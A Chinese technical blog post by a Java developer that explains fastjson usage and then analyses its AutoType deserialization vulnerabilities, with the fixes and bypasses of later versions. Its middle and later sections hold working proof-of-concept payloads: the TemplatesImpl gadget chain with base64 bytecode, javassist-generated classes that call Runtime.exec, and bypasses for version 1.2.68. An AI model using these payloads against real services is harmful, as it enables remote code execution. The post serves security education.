
不是,解析个JSON你给我弹出个计算器?
大家好,我是小顾,是一名Java开发者。在实际的项目中,我们会经常用到JSON格式的数据来和前端交互,还有一些字符串转JSON,JSON转字符串的场景。现在Java有很多成熟的JSON工具,比如Gson,Jackson等,不知道你们是用什么JSON解析工具呢?我上家公司用了是Fastjosn,这个工具是阿里巴巴开源的一个高性能JSON解析库,是阿里的温少以一己之力开发的,通过库的名称可以知道,这个工具是以快著称。它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
前言
fastjson 网上的教程一大堆,那具体是怎么用的呢,下面我来整理一下基础的用法。
引入依赖
要使用fastjson,需要在maven项目里的pom文件中添加这个库的依赖。
▼xml复制代码<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>x.x.x</version> </dependency>
具体Maven的各个依赖的详细信息我们可以在这个网站上面查得到:
https://mvnrepository.com/artifact/com.alibaba/fastjson
如果要使用最新的v2版本,可以使用fastjson2:
https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
简单的demo
对象序列化
▼java复制代码/** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将对象转为JSON字符串 User user = new User(); user.setId(1L); user.setName("gulihua"); user.setPassword("12345678"); System.out.println(JSON.toJSONString(user)); } @Data public static class User { private Long id; private String name; private String password; } }
这段代码就是将一个 User 对象转换为 JSON 格式的数据。输出结果如下:
对象反序列化
▼java复制代码/** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { // 将JSON字符串解析为Java对象 String jsonString = "{\"id\":2,\"name\":\"xiaogu\",\"password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data public static class User { private Long id; private String name; private String password; } }
这段代码是将 JSON 字符串解析为 User 对象。输出结果如下:
集合序列化
▼java复制代码/** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { List<User> userList = new ArrayList<>(); userList.add(new User(1L, "gulihua", "123456")); userList.add(new User(2L, "xiaogu", "11111111")); System.out.println(JSON.toJSONString(userList)); } @Data @AllArgsConstructor public static class User { private Long id; private String name; private String password; } }
以上的代码就是新建了两个 User 对象,并且将它们添加到 userList集合中,然后转换成JSON 数组的字符串,下面是输出结果:
集合反序列化
▼java复制代码/** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String arr = "[{\"id\":1,\"name\":\"gulihua\",\"password\":\"123456\"},{\"id\":2,\"name\":\"xiaogu\",\"password\":\"11111111\"}]"; List<User> userList = JSON.parseArray(arr, User.class); System.out.println(userList); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private String password; } }
上面的代码是将一个JSON数组的字符串转化为 User 集合列表,输出:
代码分析
在上面的代码中,有一段 User user = JSON.parseObject(jsonString, User.class);这里为什么能够直接可以把字符串转为对象呢?这是因为JSON 字段和Java对象里的字段的名称是一样的,fastjson 使用 Java 的反射 API (java.lang.reflect) 动态加载 User.class 的结构,包括字段、方法、构造器等信息。 比如当JSON里面有name字段时,会自动去查询对应的setName方法,然后将解析后的值赋给对象字段。
我们看下源码:
在Java bean 反序列化的时候,会构建Javabean信息。
我们来看下build方法,在调用构建的时候,里面有 4 个for循环,第一个for循环是遍历所有的链式构建器方法,第二个for循环是遍历所有的setter方法,第三个for循环是遍历所有的public字段,第四个for循环是遍历所有的getter方法。
比如这里第二个for循环,它会遍历所有方法名以 set 开头,如果是boolean类型的方法,还会通过isXxx进行兼容处理,然后会解析方法的元信息和关联字段,生成 FieldInfo 对象,添加到 fieldList 中。
然后通过反射将对象的字段赋值或更新,支持普通字段、Atomic 类型(如 AtomicInteger)、Map 和 Collection 类型,比如Atomic 类型:调用字段或方法返回的对象的 set 方法更新值,Map 类型:将传入值中的所有键值对合并到目标 Map,Collection 类型:将传入值的所有元素添加到目标 Collection。当字段不属于上述特殊类型时,通过 field.set() 或 method.invoke() 直接通过反射方式设置值。
那么问题来了,如果对象里的字段和JSON里的字段名称不一样怎么办呢,不要慌,有一个我们可以通过一个 @JSONField注解来指定对应的映射关系。可以看下下面的demo:
▼java复制代码/** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { public static void main(String[] args) { String jsonString = "{\"user_id\":2,\"user_name\":\"xiaogu\",\"user_password\":\"111111\"}"; User user = JSON.parseObject(jsonString, User.class); System.out.println(user.getId() + ", " + user.getName() + ", " + user.getPassword()); } @Data @AllArgsConstructor @NoArgsConstructor public static class User { @JSONField(name = "user_id") private Long id; @JSONField(name = "user_name") private String name; @JSONField(name = "user_password") private String password; } }
通过代码示例可以看到,如果字段不一样,直接通过 @JSONField(name = "JSON字段名称") 来映射对象和JSON字段的关系。
相关的代码:
其实这个build方法的主要功能就是解析bean类的结构信息,遍历类的所有字段,包括私有字段和公共字段。如果字段有 @JSONField 注解,优先使用注解指定的名称和序列化特性。它也支持链接结构的build方法,如果有 @JSONPOJOBuilder 注解,就会提取 buildMethod,然后解析以特定前缀(如 with)开头的链式方法。它会识别以 set 开头的方法,将其映射为 JSON 属性。并支持集合、Atomic 类型字段的只读解析。
起因
我们知道,fastjson 主要功能就是JSON字符串和bean的序列化、反序列化,但是它并没有使用jdk自带的序列化机制,而是自己实现了一套机制。对JSON来说,要想把Java对象转成JSON,要么是基于对象的属性,要么就是基于get/set方法。上面的代码分析中讲到,JSON转对象的时候,fastjson 会遍历所有的set方法,同理,在Java对象转JSON的时候,它会遍历所有的get的方法。而像其他的JSON库并不是这样写的,比如Gson,他是通过反射遍历该类中的所有属性,并把其值序列化成JSON。
我们首先看一个示例,我们定义了一个User 对象,里面有一个Hobbies类型的hobbies属性,这个Hobbies类型其实是一个自定义的接口。
▼java复制代码/** * @author gulihua * @Description * @date 2024-12-07 22:12 */ public class JSONTest { @Data @AllArgsConstructor @NoArgsConstructor public static class User { private Long id; private String name; private Hobbies hobbies; } public interface Hobbies { } @Data @AllArgsConstructor @NoArgsConstructor public static class football implements Hobbies { private String club; } }
接着,我们把他序列化一下:
▼java复制代码public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user)); }
当我们要对User进行序列化的时候,fastjson会扫描所有的的get方法,即找到getId、getName和getHobbies这时候就会将id、name、hobbies两个字段的值序列化到JSON字符串中,输出如下:
那么问题来了,这段JSON字符串能够成功的反序列化吗?如果能hobbies字段又被反序列化成什么呢,因为hobbies定义的是一个接口,反序列化时,它会反序列化成什么对象呢?试一下:
▼java复制代码public static void main(String[] args) { String str = "{\"hobbies\":{\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(str, User.class); System.out.println(user); }
输出:
可以看到,hobbies字段并没有值。所以,当一个类中包含了一个接口的时候,在使用fastjson进行序列化的时候,会将实现的类型抹去,只保留接口的类型,使得反序列化时无法拿到原始类型。那如何去解决呢?那就是把原始类型记录下来不就行了,fastjson 里有一个序列化的配置SerializerFeature.WriteClassName可以记录原始类型:
▼java复制代码public static void main(String[] args) { User user = new User(1L, "gulihua", new football("myFootballTeam")); System.out.println(JSON.toJSONString(user, SerializerFeature.WriteClassName)); }
输出JSON字符串结果
可以看到,JSON字符串多出来个@type字段,值是接口原始类型的全类目,这样做的好处是方便在反序列化的时候指定具体的类型。试一下反序列化:
▼java复制代码public static void main(String[] args) { String json = "{\"@type\":\"org.example.JSONTest$User\",\"hobbies\":{\"@type\":\"org.example.JSONTest$football\",\"club\":\"myFootballTeam\"},\"id\":1,\"name\":\"gulihua\"}"; User user = JSON.parseObject(json, User.class); System.out.println(user); }
输出的对象:
hobbies这个字段被成功解析出来了。
在 fastjson 中,@type 是一个特殊的字段,主要用于反序列化时指定目标对象的实际类型。它的作用是让 JSON 数据能够直接与 Java 类建立映射关系。
我们可以看下源码:
调用parseObject走到这里,然后调用JavaBeanDeserializer里的反序列化方法deserialze
在解析key = @type时候,会走到这里,通过value值调用loadClass方法加载这个类。
然后根据类型名称获取了反序列化器,然后用反序列化器进行反序列化操作。之后的流程就和上面的相同了,遍历所有的setter方法,然后通过反射调用赋值。
这就是 fastjson 中引入AutoType的原因。但也正是因为这个功能,并且在设计之初安全方便考虑得不太全面,也给 fastjson 带来了很多的隐患。
漏洞
因为引入了 AutoType 功能,fastjson 在对 JSON 字符串进行反序列化时,会读取 @type 字段的内容,尝试将 JSON 数据反序列化为指定的对象类型,并调用该类的 setter/getter 方法。基于这一特性,攻击者可以构造特定的 JSON 字符串,通过 @type 字段指定目标攻击类,从而实现恶意操作。
弹出计算器
看下如下示例代码:
版本:fastjson 1.2.24、JDK 1.8.0_402
代码:
▼java复制代码public class OpenCalculator { public static class Calculator { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } } public static void main(String[] args) throws Exception { String s = "{\"@type\":\"org.example.OpenCalculator$Calculator\"}"; ParserConfig config = new ParserConfig(); Object obj = JSON.parseObject(s, Object.class); } }
不是,我解析个JSON你咋给我弹出个计算器?
Fastjson:你甭管对不对,你就说快不快吧!
其实在安全行业中,有一条约定俗成的规则:在安全比赛中,如果成功获取了计算器的控制权限并打开了其界面,就意味着这台计算机已经被攻破了。因为已经获得了远程代码执行(RCE)的权限,并能够在目标系统上运行任意命令。
我们来打个断点调试下,看下为什么会这样:
过程和上面类似,它会根据类型获取反序列化器,然后用反序列化器进行反序列化操作。通过断点可以看到,获取到的反序列化器是FastjsonASMDeserializer,这个序列化器通过ASM机制生成的临时代码源码是看不到的,那么什么是ASM呢,ASM 是一个强大的 Java 字节码操作框架,它可以灵活地动态生成一个Java 类,而无需手动编写文件。
这个看到在这里,会创建一个实例对象。
最后会调用到这个Calculator类的构造方法,运行打开计算器程序的命令。
我们知道,想要直接执行打开计算器的命令,以 Mac 为例,用的是open -a Calculator命令,如果是使用Java 程序代码运行打开计算器,需要用到 Java 的 java.lang.Runtime类,调用里面的getRuntime()方法,这是用于获取当前 Java 虚拟机 (JVM) 的运行时环境实例,通过这个实例,开发者可以访问和控制与 JVM 相关的一些底层操作,如内存管理、运行外部程序、垃圾回收等等。比如打开计算器的命令java.lang.Runtime.getRuntime().exec("open -a Calculator");
但是这段程序只能在有org.example.OpenCalculator$Calculator类的程序上运行,要想在服务器上执行一些命令,需要在服务器上动态生成一个类并加载。
我们先介绍一下ClassLoader,它是 Java 虚拟机 (JVM) 中一个核心组件,用于动态加载类文件。它将 .class 文件加载到 JVM 中,供程序运行时使用。ClassLoader 提供了一种灵活机制,使得 Java 可以支持动态加载和运行代码。里面有一个方法defineClass,这个方法是用于将字节码数据转换为 Class 对象。这是实现自定义类加载器的重要方法,可以绕过默认的双亲委派模型,实现自定义的类加载逻辑。但是它是protected访问权限,我们可以通过反射的方式修改权限,实现用它来加载我们的字节码文件。
我们先把刚刚的Calculator类提取出来,然后运行javac Calculator.java,编译成.class文件。
▼java复制代码/** * @author gulihua * @Description * @date 2024-12-12 15:40 */ public class Calculator { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } }
然后将.class文件字节数组生成base64字符串。
▼java复制代码yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg==
然后运行
▼java复制代码public static void main(String[] args) throws Exception{ Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAD0NhbGN1bGF0b3IuamF2YQwABwAIBwAXDAAYABkBABJvcGVuIC1hIENhbGN1bGF0b3IMABoAGwEACkNhbGN1bGF0b3IBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAEAAQAHAAgAAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAIAAQACQANAAoACwAAAAQAAQAMAAEADQAAAAIADg=="); Class yyds= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calculator", code, 0, code.length); yyds.newInstance(); }
成功弹出了计算器
虽然Java的ClassLoader类提供了defineClass()方法,可以把字节数组转换成Java类的示例,但是这里面的方法的作用域是被Protected修饰的,也就是说这个方法只能在当前包内访问,不能被其他包中的类访问,所以我们很难直接去调用它。
但是,我们可以看看这个方法有哪些地方调用到呢?
在TemplatesImpl类里面有个defineTransletClasses,不过也还是私有的。
再往上找,发现是getTransletInstance方法掉用了defineTransletClasses,不过还是私有的。
继续找,终于找到了一个public的方法newTransformer,而这个方法,是有当前类的getOutputProperties方法调用的,这个是什么方法呢?很明显,getXxx的获取属性的方法,这个方法通常是反序列化调用的方法。
看下fastjson是在哪里调用的,因为Properties是继承Hashtable的,所有FastJSON在调用时,会先调用getXxx方法获取到map数据,然后在调用putAll方法把JSON里的新的元素添加进去。这不就调用到了getOutputProperties方法了吗。
至此完整的调用链已经形成:
Fastjson 使用反序列化器解析字段 --> Fastjson 通过反射调用getOutputProperties方法 --> 调用
TemplatesImpl#newTransformer方法 --> 调用 TemplatesImpl#getTransletInstance方法 --> 调用 TemplatesImpl#defineTransletClasses方法 --> 调用 TemplatesImpl#defineClass方法。但生效也是有触发条件的:需要在Fastjson代码中配置Feature.SupportNonPublicField。
我们看下TemplatesImpl#defineTransletClasses方法的具体源码:它会先判断_bytecodes是否为空,如果为空,会抛出异常;如果_tfactory为为空也会抛出空指针异常。继续往下看,_bytecodes就是.class文件的字节码数组集合,这个类必须继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,否则不会生效。然后会把类成员属性的_transletIndex设置成当前循环中的标记位,如果这个集合只有一个字节数组,那么标志位就是 0 。因此,我们需要通过反射的方式设置属性:_bytecodes、_tfactory、_name,这里的_name 就是类的名称。
将刚刚的Calculator继承AbstractTranslet,然后改造下:
▼java复制代码public class Calculator extends AbstractTranslet { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
编译成.class文件,base64一下:
▼java复制代码public static void main(String[] args) throws Exception { String classBase64 = "yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAbAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBAA9DYWxjdWxhdG9yLmphdmEMAAcACAcAHAwAHQAeAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAfACABAApDYWxjdWxhdG9yAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvbGFuZy9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAADgAEAA8ADQAQAAsAAAAEAAEADAABAA0ADgACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAFQALAAAABAABAA8AAQANABAAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABoACwAAAAQAAQAPAAEAEQAAAAIAEg=="; try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Test'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } }
成功弹出了计算器
再进行升级改造下,我们刚刚都是手动写一个Calculator类,然后手动编译,这个类其实也可以动态生成,我们可以利用一个开源的 Java 字节码操作库javassist来动态生成一个计算器类。
引入包:
▼xml复制代码<dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency>
通常我们需要将.java文件使用javac命令编译成.class文件才能正常执行,javasist是一个处理字节码的类库,它提供了简单易用的API,能够动态生成或修改class字节码文件,与 ASM 等其他字节码框架相比,Javassist 更加高层次,操作起来更接近于直接操作 Java 源代码。现在来简单学习一下它的常用用法:
Javassist中最为重要的是ClassPool、CtClass、CtMethod、CtField以及CtConstructor这几类。
CtClass(编译时类): CtClass 是 Javassist 中用于表示 Java 类的核心对象,它可以用来创建、修改或操作一个类的结构和方法。
ClassPool(类池):ClassPool 是一个容器,存储和管理所有 CtClass 对象的实例。它类似一个缓存系统,用来加载和存储类的定义。
CtMethod(编译时方法):CtMethod 用于表示类中的方法,支持动态添加、修改和删除。
CtField(编译时字段): CtField 用于表示类中的字段,可以动态添加或修改字段。
CtConstructor(编译时构造器):CtConstructor 用于表示类中的构造器,可以动态添加或修改构造方法。
使用方法:
▼java复制代码public static void main(String[] args) throws Exception { // 动态创建类 ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Calculator"); // 定义类的初始化块插入代码 String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");"; cc.makeClassInitializer().insertBefore(cmd); // 设置类名 String randomClassName = "Calculator"; cc.setName(randomClassName); // 设置父类 cc.setSuperclass((pool.get(AbstractTranslet.class.getName()))); // 转位字节数组 byte[] bytes = cc.toBytecode(); String classBase64 = Base64.getEncoder().encodeToString(bytes); try { final String classPath = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String json = "{" + "\"@type\":\"" + classPath + "\"," + "\"_bytecodes\":[\"" + classBase64 + "\"]," + "'_name':'Calculator'," + "'_tfactory':{ }," + "'_outputProperties':{}" + "}\n"; ParserConfig config = new ParserConfig(); System.out.println(json); Object obj = JSON.parseObject(json, Object.class, config, Feature.SupportNonPublicField); } catch (Exception e) { e.printStackTrace(); } }
执行,成功弹出~
修复
在爆出了反序列化漏洞之后,在版本1.2.25Fastjson 就立即修复了这个高危漏洞,引入了黑名单的机制。我们吧版本升级一下,试着执行原来的代码。它会报autoType is not support.的异常。
我们来看下它引入了哪些黑名单:
▼java复制代码bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
具体就是上面那几个包名了。我们来看下它的逻辑,在ParserConfig中,有个checkAutoType()方法,如果没有开启autoType,就先判断类名在不在黑名单中,如果在黑名单里,就直接抛出异常。然后再去匹配白名单,如果在就用TypeUtils.loadClass加载。
如果开启了autoType配置,则先匹配白名单,然后再去匹配黑名单。
如果反序列化的类名不在黑名单里,也只有开启了autoType或者expectClass不为空时才会调用TypeUtils.loadClass加载,否则fastjson会默认禁止加载该类。
后续版本
其实从1.2.25版本之后的很长一段时间,网上披露了很多绕过黑名单的用于JNDI注入的利用链,我认为影响都是不大,原因有以下三点:
1)有的版本AutoType 必须要开启;
2)基于JNDI+RMI或JDNI+LADP进行漏洞攻击,会有一定的JDK版本的限制;
3)一些调用链还需要依赖第三方库,有的项目中可能不会用到这些。
不过感兴趣的同学也可以自已试下,看能不能注入进去。我这里也不打算详细说了,因为我也没有复现出来哈哈,可能是JDK版本的问题。其实原理都是一样的,看源码,找注入点。
版本 1.2.42
在版本1.2.42中,在ParserConfig.java中将黑名单的类变成了hash值,应该防止知道类名而进行绕过。不过这些类名的hash都是可以爆破的,目前大部分的内容都已经被爆破出来了。 项目地址: GitHub - LeadroyaL/fastjson-blacklist
版本 1.2.68
在这个版本中,引入了safeMode,配置safeMode后,无论白名单和黑名单,都不支持AutoType,可以有效地避免了利用@type进行渗透攻击,但是这个配置默认是关闭的。
不过这个版本也还是有反序列化漏洞的,可以实现在AutoType关闭的情况下绕过了ParserConfig#checkAutoType()的安全检查,但是这个漏洞的危害程度要小于之前版本的漏洞,具体还要看对应的服务的情况。
这个漏洞其实还是看ParserConfig#checkAutoType()里面的逻辑。
要想绕过检查,以下的几种情况可以通过 验证:
1)autoTypeCheckHandlers不为null
2)expectClassFlag不为null时不能为以下几个类
3)在缓存mapping中的类
在TypeUtils的缓存中的都是一些基础的类
4)不在黑名单里的,但在白名单里的类
5)类不能是是ClassLoader、DataSource和RowSet的子类
绕过方法(Throwable)
我们可以看到Exception类在缓存mapping里,因此我们可以构建一个异常类。
▼java复制代码public class CalcException extends Exception { private String command; public void setCommand(String command) { this.command = command; } @Override public String getMessage() { try { Runtime.getRuntime().exec(this.command); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } } public static void main(String[] args) { String a = " {\n" + " \"@type\":\"java.lang.Exception\",\n" + " \"@type\": \"org.example.CalcException\",\n" + " \"command\": \"open -a Calculator\"\n" + " }"; System.out.println(a); System.out.println(JSONObject.parse(a)); }
在DefaultJSONParser.parseObject里,检测到key是@type,然后会进行安全检测。
因为第一个@type是Exception.class,Exception.class是在TypeUtils#mappings缓存中,所以,直接通过了安全检测中,然后根据类名获取到反序列化器ThrowableDeserializer。
然后在ThrowableDeserializer中,再一次进行解析,又匹配到了key是@type,再次进行安全检测,并且指定了expectClass为Throwable.class。
因为传入了expectClass,又因为expectClass不是限制的几个类,所以expectClassFlag为true,传入的typeName又不在黑名单里,只要继承自Throwable.class就能通过安全检测,然后返回一个class的实例。
最后,调用getMessage方法,实现弹出计算器。不过上述的方法只是为了验证这种方法能够绕过安全检测,但事实上很少有人在异常类的用到危险的方法语句,所以这个方式可用性不高。
绕过方法(AutoCloseable)
我们可以看下JavaBeanDeserializer#deserialze()方法,其实它的逻辑和ThrowableDeserializer#deserialze()是一样的,都是指定个expectClass绕过安全检测。网上用的比较多的类就是AutoCloseable,因为它也是在TypeUtils#mappings缓存中,并且它的子类比较多,可操作性比较大。我们可以用FileOutputStream类作为其实现类。
▼java复制代码{ "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream", "file": "/Users/gulihua/Downloads/1/2/test.txt", "append": "false" }
可以看到,文件被创建了。
其实这个方法对jdk的版本也是有限制的,上面测试的版本是JDK 17,而在我日常使用的版本1.8.0_402报了默认构造方法没找到的异常。
他会在构建bean时,会通过ASMUtils.lookupParameterNames(constructor)去找构造方法的参数签名信息,JDK 1.8.0_40版本是没有这些信息的,所以报错了。
可以用javap -l java.io.FileOutputStream看下有没签名信息,可以看下有没有LocalVariableTable信息。
因此这个漏洞是对 Java 版本是有要求的,实际生产环境中满足这个要求的版本还是比较小的,而且大部分都是JDK 8,所以要去寻找更加合理的利用链,比如使用流行的第三方库,需要满足以下条件:
1)这个类不在Fastjson 1.2.68的黑名单中
2)这个类实现了java.lang.AutoCloseable接口
3)保留LocalVariableTable参数签名信息
肯定是有一些第三方库是满足的,时间有限,我这里就不去尝试了,感兴趣的同学可以去尝试下。
总结
以上就是一些fastjson比较知名的漏洞、修复、绕过的过程, 虽然在fastjson v1中有很多的漏洞,现在fastjson v2重构了fastjson,历史版本中存在的漏洞在新版本中均已修复,在安全性上有了很大的提升,我们在实际的项目中可以使用比较新的稳定版本。
我在写这篇文章时,参考了大量的资料,也读了关键的源码,学习到了很多的知识。Fastjson自己定义了很多序列化类,并且使用ASM技术、反射、使用缓存,并且用了很多的设计模式,并且在算法上也有优化,这个框架的核心就是Fast,在序列号和反序列化的效率比其他的库有一定的提升。
我在学习其他大佬写的漏洞分析文章时,觉得他们实在是厉害,对这些发现利用链的大佬们充满由衷的敬佩,不同版本之间的漏洞--修复-绕过-再修复展示了开发者和黑客们的攻防较量,实在是精彩 ~
参考感谢
https://github.com/alibaba/fastjson/releases
https://github.com/alibaba/fastjson/wiki/security_update_20200601
https://www.cnblogs.com/CoLo/p/15832201.html
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
https://www.cnblogs.com/zpchcbd/p/14969606.html
https://www.cnblogs.com/nice0e3/p/14601670.html
https://www.cnblogs.com/CoLo/p/15832201.html
https://www.cnblogs.com/nice0e3/p/14776043.html
https://zhuanlan.zhihu.com/p/544463507
https://www.freebuf.com/vuls/178012.html
https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA
http://scz.617.cn:8/web/202008100900.txt
